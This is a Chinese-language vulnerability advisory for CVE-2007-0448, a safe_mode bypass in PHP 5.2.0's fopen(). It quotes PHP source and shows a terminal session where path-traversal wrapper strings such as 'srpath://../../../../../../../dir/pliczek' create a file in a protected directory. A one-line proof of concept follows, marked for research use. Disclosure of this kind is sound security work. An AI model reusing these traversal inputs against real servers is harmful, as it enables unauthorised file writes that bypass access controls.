PHP fopen Safe_Mode绕过安全限制漏洞

受影响系统：
PHP PHP 5.2.0
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 22261
CVE(CAN) ID: CVE-2007-0448

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。

PHP对fopen的实现上存在漏洞，远程攻击者可能利用此漏洞使用写模式绕过safe_mode的安全限制。

在fopen()函数中：

- -845-845--- Code from PHP520 ext/standard/file.c [START]
stream = php_stream_open_wrapper_ex(filename, mode, (use_include_path ? USE_PATH : 0) |
ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL, context);
- -845-845--- Code from PHP520 ext/standard/file.c [END]

在safe_mode.c文件中：

- -142-152--- Code from main/safe_mode.c [START]
ret = VCWD_STAT(path, &sb);
if (ret < 0) {
if ((flags & CHECKUID_NO_ERRORS) == 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to access %s", filename);
}
return 0;
}
duid = sb.st_uid;
dgid = sb.st_gid;
if (duid == php_getuid()) {
return 1;
- -142-152--- Code from main/safe_mode.c [END]

如果duid == php_getuid()的话，就可以绕过safe_mode。

#define VCWD_STAT(path, buff) virtual_stat(path, buff TSRMLS_CC)

在virtual_stat()函数中：

- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [START]
CWD_API int virtual_stat(const char *path, struct stat *buf TSRMLS_DC)
{
cwd_state new_state;
int retval;

CWD_STATE_COPY(&new_state, &CWDG(cwd));
if (virtual_file_ex(&new_state, path, NULL, 1)) {
return -1;
}

retval = stat(new_state.cwd, buf);

CWD_STATE_FREE(&new_state);
return retval;
}
- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [END]

因此用户可以尝试创建/dir/pliczek文件。

cxib# uname -a
FreeBSD cxib.laptop 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 08:43:30 UTC 2007
root@portnoy.cse.buffalo.edu:/usr/obj/usr/src/sys/SMP amd64
cxib# php -r 'fopen("/dir/pliczek", "a");'

Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not
allowed to access /dir owned by uid 80 in Command line code on line 1

Warning: fopen(/dir/pliczek): failed to open stream: Invalid argument in Command line code on
line 1
cxib# php -r 'fopen("compress.zlib://../../../../../../../dir/pliczek",
"a");'

Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not
allowed to access /dir owned by uid 80 in Command line code on line 1

Warning: fopen(compress.zlib://../../../../../../../dir/pliczek): failed to open stream:
Invalid argument in Command line code on line 1

cxib# php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
cxib# ls -la /dir/pliczek
- -rw-r--r-- 1 cxib www 0 Jan 19 21:26 /dir/pliczek

<*来源：Maksymilian Arciemowicz （max@jestsuper.pl）
 
  链接：http://securityreason.com/achievement_securityalert/44
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

fopen("compress.zlib://../../../../../../../dir/pliczek", "a");

建议：
--------------------------------------------------------------------------------
厂商补丁：

PHP
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.php.net